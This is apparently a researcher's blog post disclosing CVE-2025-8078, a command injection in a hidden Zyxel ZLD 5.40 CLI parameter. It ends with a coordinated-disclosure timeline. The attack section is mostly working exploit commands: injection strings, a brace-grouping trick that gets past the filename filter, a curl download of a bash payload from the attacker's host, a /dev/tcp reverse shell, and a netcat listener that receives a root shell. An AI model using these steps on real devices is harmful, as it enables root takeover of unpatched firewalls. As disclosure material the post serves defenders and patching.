ZYXEL
    Remote Code Execution
    ZLD 5.40

    CVE-2025-8078: Remote Code Execution via CLI Command Injection

    October 21, 2025
    3 min read

    Nothing in this world can take the place of persistence.
    -Calvin Coolidge

    Summary

    During these three months of intense work, I decided to return to ZYXEL's ATP series, specifically the ZLD firmware.

    I was certain I had left something behind. Something hidden and vulnerable.

    I’m sharing a comic that Marco Ivaldi aka raptor shared with me during one of our chats. I found it incredibly relatable and funny, as it perfectly captures the situation when I decided to return to working on ZLD.

    Hidden from the documentation but visible in the browser's source scripts, I identified a highly valuable command, one that use the shell command handler without validating user input. This command allows the execution of arbitrary code as root.

    First Analysis

    During some research in the device's front-end files, I found an undocumented command's parameter inside configCLI.js.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    // configCLI.js (ext-js/app/common/cli-store/configCLI.js)
    custWEBremove: function(locate, target) {
        var CMD = 'web-auth type _delete wp-zip {0}';
        this.addCLI(Ext.String.format(CMD, locate, target));
    },
    custUAremove: function(locate, target) {
        var CMD = 'web-auth type _delete ua-zip {0}';
        this.addCLI(Ext.String.format(CMD, locate, target));
    }

    Since the parameter operates on files located on file system, I immediately suspected a lack of sanitization on the filename. The hypothesis came from a simple line of reasoning: if the command is hidden, it probably hasn't been properly sanitized. After all, who's supposed to see it?

    With that in mind, I quickly jumped into the shell to see what I was dealing with.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin
    (admin@192.168.169.1) Password:
    Router# # I'm back, ZYSH! >:)
    Router# configure terminal
    Router(config)# web-auth type _delete wp-zip test.zip
    Router(config)# # Silence...
    Router(config)# web-auth type _delete wp-zip 'test.zip
    Router(config)# # Silence...
    Router(config)# web-auth type _delete wp-zip ;id.zip
    uid=0(root) gid=0(root) groups=0(root)
    Router(config)# # BOOM \o/

    As demonstrated, the hypothesis was correct. But what happens under the hood?

    Jail-Break

    It took me a few minutes of trial and error to figure out how to run a ping or any command with one or more arguments. This was because the parameter after wp-zip doesn't accept characters like /, |, >, <, :, or even spaces; it also has a maximum length of 30 characters and must end with .zip.

    After thinking it through for a bit, I tried executing the command using Command grouping with Curly braces, separating the command and its arguments with commas.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin
    (admin@192.168.169.1) Password:
    Router# configure terminal
    Router(config)# web-auth type _delete wp-zip ;{ls,-la}.zip
    total 23
    drwxr-xr-x     21 root root    0 Jul 22 00:50 .
    drwxr-xr-x     21 root root    0 Jul 22 00:50 ..
    -rw-r--r--      1 root root    9 Jul 22 00:50 .quota
    drwxr-xr-x      3 root root 1024 Jul 18 19:17 MyZyXEL
    drwxr-xr-x      2 root root    0 Jul 22 00:47 aes
    lrwxrwxrwx      1 root root   13 Jul 22 00:47 bin -> /compress/bin
    drwxr-xr-x     11 root root  203 May  6 22:59 compress
    drwxr-xr-x      6 root root 4096 Jul 22 00:50 db
    drwxr-xr-x      5 root root 4096 Jul 22 00:45 db2
    drwxr-xr-x      8 root root 2160 Jul 22 00:53 dev
    lrwxrwxrwx      1 root root   13 Jul 22 00:47 etc -> /compress/etc
    lrwxrwxrwx      1 root root   16 Jul 22 00:47 etc_writable -> /rw/etc_writable
    drwxr-xr-x      5 root root    0 Jul 22 00:49 home
    lrwxrwxrwx      1 root root   13 May  6 23:00 init -> zyinit/zyinit
    lrwxrwxrwx      1 root root   13 Jul 22 00:47 lib -> /compress/lib
    lrwxrwxrwx      1 root root   15 Jul 22 00:47 lib32 -> /compress/lib32
    lrwxrwxrwx      1 root root   15 Jul 22 00:47 lib64 -> /compress/lib64
    dr-xr-xr-x    218 root root    0 Jan  1  1970 proc
    drwxr-xr-x      2 root root    0 Jul 22 00:50 root
    drwxr-xr-x      3 root root    0 Jul 22 00:50 run
    drwxr-xr-x      4 root root 1024 Jul 22 00:46 rw
    drwxr-xr-x      4 root root 1024 May 20 00:29 rw2
    lrwxrwxrwx      1 root root   14 Jul 22 00:47 sbin -> /compress/sbin
    drwxr-xr-x     19 root root 4096 Jul 18 19:36 share
    dr-xr-xr-x     11 root root    0 Jul 22 00:47 sys
    -rw-r--r--      1 root root 2322 Jul 22 00:50 temp
    drwxrwxrwt     37 root root 5300 Jul 22 01:57 tmp
    lrwxrwxrwx      1 root root   13 Jul 22 00:47 usr -> /compress/usr
    drwxr-xr-x      2 root root    0 May  6 22:59 util
    drwx------ 124064 root root    0 Jul 22 01:57 utm
    drwxrwxrwx     23 root root    0 Jul 22 01:04 var
    drwxr-xr-x      2 root root    0 Jul 22 00:47 zyinit
    Router(config)# 

    Having found a way to move forward, I launched a ping to analyze what was happening at the system level.
    Why?
    Pure curiosity.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin
    (admin@192.168.169.1) Password:
    Router# configure terminal
    Router(config)# web-auth type _delete wp-zip ;{ping,127.0.0.1,-c,5}.zip
    # 5 sec wait

    And, in another shell, I launched

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin
    (admin@192.168.169.1) Password:
    Router> debug system ps |  match "ping"
    27660  8928 ping            root     ?         19   0  1.0  0.0 S      2152   560   440   538 02:01:39       00:01 00:00:00 ping 127.0.0.1 -c 5
    Router>

    Obviously, since I used ;, a separate process was created. By using &, let's see what happens when we use the undocumented command.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin
    (admin@192.168.169.1) Password:
    Router> debug system ps |  match "ping"
    27799  8928 sh              root     ?         19   0  0.0  0.0 S      3560  1472   284   890 02:02:35       00:02 00:00:00 sh -c rm -rf /var/zyxel/.multi-portal/html/&{ping,127.0.0.1,-c,5}
    27801 27799 ping            root     ?         19   0  0.0  0.0 S      2152   560   440   538 02:02:35       00:02 00:00:00 ping 127.0.0.1 -c 5
    Router> 

    A classic.

    Reverse shell

    Let's be honest, RCE alone isn't enough or, at least for me, it isn't. Until I get the reverse shell, the game isn't over. There were several attempts to obtain the shell, but each ended up freezing the device, requiring a physical reboot. This happened because appending bash made the command wait for it to finish before releasing ZYSH, which obviously never happened.

    The hypotheses were:

    • Can I write to a file? No. Or at least, I found no way since all useful characters were banned.
    • Can I spawn a reverse shell with Python, Perl, Ruby? No. Each uses at least one banned character, plus I have to stay within 30 characters.
    • Write the reverse shell inside an environment variable? Again, no. Creating an environment variable is possible with ;{env,test=pwned}, but character usage is limited.

    Then I thought: Let's keep it simple, what about curl? If I stay within 30 characters, it works. And it’s available as a built-in utility!

    So the strategy was: spin up a quick web server on port 80 to avoid specifying the port, create an index.html to avoid using / (banned-char), and save it as a to save characters limit.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ cat index.html
    #!/bin/bash
    exec bash -i &>/dev/tcp/10.168.254.14/1337 <&1
    rainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ 
    rainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ python3 -m http.server 80 --bind 10.168.254.14
    Serving HTTP on 10.168.254.14 port 80 (http://10.168.254.14:80/) ...
    

    And on the device, we curl and run!

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    Router(config)# web-auth type _delete wp-zip ;{curl,10.168.254.14,-o,a}.zip
    Router(config)# web-auth type _delete wp-zip ;{ls,-la,a}.zip
    -rw-r--r-- 1 root root 112 Jul 21 21:04 a
    Router(config)# web-auth type _delete wp-zip ;{cat,a}.zip
    #!/bin/bash
    exec bash -i &>/dev/tcp/10.168.254.14/1337 <&1
    Router(config)# web-auth type _delete wp-zip ;{bash,a}.zip

    Obviously, I get the shell as root.

    CVE-2025-8078: Remote Code Execution via CLI Command Injection
    rainpwn@0xdeadspace:~$ nc -lvnp 1337
    Listening on 0.0.0.0 1337
    Connection received on 1337
    bash: cannot set terminal process group (9358): Inappropriate ioctl for device
    bash: no job control in this shell
    bash-5.1# id
    uid=0(root) gid=0(root) groups=0(root)
    bash-5.1# cat /rw/fwversion
    KERNEL_VERSION=3.10.87
    FIRMWARE_VER=5.40(ABPS.0)
    CAPWAP_VER=1.00.04
    MODEL_ID=ATP100
    COMPATIBLE_PRODUCT_MODEL_0=E153
    COMPATIBLE_PRODUCT_MODEL_1=E17F
    COMPATIBLE_PRODUCT_MODEL_2=FFFF
    COMPATIBLE_PRODUCT_MODEL_3=FFFF
    COMPATIBLE_PRODUCT_MODEL_4=FFFF
    KERNEL_BUILD_DATE=2025-05-07 05:01:23
    BUILD_DATE=2025-05-07 05:42:54
    FSH_VER=1.0.0
    bash-5.1# # Device takeover

    PoC Exploit

    A PoC exploit is available here

    Conclusion

    After a two-month break, it was a pleasure and, above all, fun to get my hands back on these appliances. Gaining a root shell always comes with a dopamine rush.

    References

    Comand Grouping using curly braces

    Disclosure Timeline

    • 2025-07-22: ZYXEL was notified via <security@zyxel.com.tw>.
    • 2025-07-23: ZYXEL acknowledged receipt of my vulnerability report.
    • 2025-07-29: ZYXEL assigned CVE-2025-8078 to the reported issues and informed me of their intention to publish their security advisory on 2025-09-30.
    • 2025-09-08: ZYXEL requested to postpone the public disclosure date to October 21, 2025, as the firmware patch is scheduled for release on October 20, 2025, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
    • 2025-10-21: ZYXEL published their security advisory, following our coordinated disclosure timeline.